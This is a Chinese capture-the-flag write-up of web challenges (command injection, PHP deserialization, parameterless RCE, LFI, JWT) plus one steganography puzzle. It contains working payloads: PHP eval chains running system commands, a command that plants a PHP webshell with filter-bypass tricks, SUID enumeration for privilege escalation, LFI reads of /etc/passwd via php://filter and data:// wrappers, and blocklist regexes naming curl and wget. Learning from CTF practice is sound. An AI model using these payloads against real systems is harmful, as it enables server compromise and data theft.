web

PING

OK:
&
url编码
BAN:
;
|
`
/
^
~
>
<
?
$


badrequest #

数组也不行
l\s
ls&curl 127.0.0.1 一点延迟回显都没有
可以直接访问flag.php

赛后居然发现是nl flag.php
无语了

pop

简单的链子


Fastdestruct 破坏掉就行了,把最后一个花括号删了。
https://www.jianshu.com/p/38606134fdd6

May_be

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $a)) {
if (!preg_match("/sess|ion|head|ers|file|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i",$a)){
eval($a);
}else{
die("May be you should bypass.");
}
}else{
die("nonono");
}
?>
nonono

无参数rce

print_r(scandir(current(localeconv())));
var_dump(get_defined_vars());
拿网上的payload打一下,然后可以执行。结果是得提权。
https://blog.csdn.net/Manuffer/article/details/120738755

?a=eval(end(current(get_defined_vars())));&shell=system('ls');

找到权限

find / -perm -u=s -type f 2>/dev/null 
/bin/mount
/bin/cp
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
做多了题目就发现,里面cp可能可以提权

搜了一下cp提权可能得要输入密码,然后思路是写一句话木马,然后蚁剑链接,就可以终端输入密码了。然后就开始坑的地方

题目会把写的一句话木马的一些内容给你换掉,比如$_GET等,还有'单引号,换成空的,而$_GET我猜测只换了一次,那我双写一下试试,结果就写进去了,而'单引号,试了一下,发现会多次置空,那我猜测转义一下,没想到就写进去了。(如何发现的,我cat了我写进去的文件,发现我的马被人偷了一部分。。。然后对照着改的)
下面是payload
?a=eval(end(current(get_defined_vars())));
&shell=$_GET['s'];&s=system("echo '<?php @eval($$_GET[1]_POST['\'van\'']);?>' > 2.php");
写完直接访问2.php,记住蚁剑是用post的,不是用get的。

然后进入终端交互模式,结果发现不能输入密码,提示说什么认证错误还是不允许。查找其他方法。

待学

无参数rce
https://blog.csdn.net/weixin_46330722/article/details/110840156
https://www.cnblogs.com/pursue-security/p/15406272.html#_label1_5
https://cloud.tencent.com/developer/article/1760288
https://blog.csdn.net/Manuffer/article/details/120738755
https://blog.csdn.net/weixin_30568317/article/details/116284685

Hackerconfused

<?php
error_reporting(0);
$CanRead = false;
class SFile{
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString(){
$num = count(scandir($this->name));
if($num > 0){
return 'Not null';
} else {
return 'Access the backdoor_******.php.* in [0-f]';
}
}
}
class Funny{
public $name;
public function __construct($name){
if(strstr($name, 'backdoor')===false){
$this->name = $name;
}else{
$this->name = 'nohint.txt';
}
}
public function __toString(){
return $this->name;
}

public function __destruct(){
global $CanRead;
if(strstr($name, 'backdoor')!==false){
die('try again');
}
if($CanRead){
echo(file_get_contents($this->name));
}
}
}
class Fun{
public $secret = 'nohint.txt';
public function __wakeup(){
echo $this->secret;
}

public function __toString(){
global $CanRead;
$CanRead = true;
return (new Funny($this->secret))->name;
}
}

if(isset($_GET['p'])){
unserialize(base64_decode($_GET['p']));
}else{
show_source(__FILE__);
}

LFI

任意读取文件,看到内网还有主机存活172.16.7.43,扫了一下,发现后面基本访问速度很慢,应该是不让扫的。那得换换思路。时间有限,没找出来。

不太喜欢flask的开发

题目描述:

这个开发以前做java的,不太喜欢flask,那源码中自然会有一些习惯和缺陷了

尝试:

开环境上去就得用户密码。
最后得出来是tomcat/tomcat
连上去后抓包
有Authorization: Basic dG9tY2F0OnRvbWNhdA==
然后response:
you are not our client,please guess our SECRET_KEY and Generating cookies using keys ,then view /search?flag=*****
直接访问/search?flag=后会
{"msg":"Missing cookie \"access_token_cookie\""}
加上cookie
access_token_cookie=12334 会有no enough segments
猜jwt
access_token_cookie=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0.04lcEO1dxtIIBa-Bt_tw8kmO8HpAwqb8BLCHz98S10w
返回{"msg":"Signature verification failed"}
扫不到目录,搜了一下可能是WEB-INF/web.xml泄露,但是也不清楚

完美网站

重定向-抓包

url base64解码得到tupian.png
自己改改,会报错。然后说n是30-10的,自己加上get n
不会报错。
尝试爆破n,可以读出内容。
读一下index.php
然后尝试文件包含,找不到内容。
卡住。没想到tupian.png有信息。winhex分析,最下面有提示一个PHP文件
ffffpq.php
然后读取就行了。
<?php
header("Content-type:text/html;charset=utf-8");


echo "别重定向了,赶快让我(?n=30-10,以内的数值。)-_-";
$image=$_GET['img'];

$allow = range(2,20);
shuffle($allow);

if(($_GET['n']==$allow[0])){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("tupian.png");
header("location:/?img=".$image);
}//index.php
一些尝试
读不出来
../../../flag
Flag.php
Flag.txt
读得出来
/etc/passwd
../../../var/www/html/index.php
../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=/etc/passwd
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
会被解析,返回PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== <?php system("cat flag.php");?>
本来没去分析一下图片,还想着上传临时文件,然后去文件包含呢。。。

notrce

<?php
highlight_file(__FILE__);
error_reporting(0);
$c=$_POST['c'];
if(!preg_match("/vi|less|tail|head|od|sh|echo|touch|re|mv|rm|cat|ls|tac|more|cut|curl|wget|base|>|<|`|\*|\\$|\\\/i",$c)){
exec($c);
}else{
die("hacker");
}
c=cp /flag 1.txt
无回显rce,直接出了,可能还可以取反绕过
待学学(坑)
https://blog.csdn.net/weixin_46706771/article/details/119031343
https://www.cnblogs.com/pursue-security/p/15406672.html

misc

传说中的小黑

下载下来是一个图片,winhex 正常分析一波,看到有zip,foremost出来,要密码。那么尝试一下伪加密,改了一下没成功。那么寻找密钥,在图片winhex中找到了一段base64的密文,就在压缩包文件头(PK)前面,然后得到密码。解压后得到一大串数据,观察一下,A-Z,0-9,base16(hex)。cyberchef转换一下,然后输出为文件。观察到是JFIF——图片,少了文件头,手动添加一下 FFD8FFE0,然后再打开即可。扫一下二维码。

(拖到winhex中,然后在文件头右键——编辑——粘贴0字节,4个。然后敲即可)

坑:利用一个在线网站得出来的是错误的,换成cyberchef就正常了。(在操作那里拖一个from hex出来。就行了。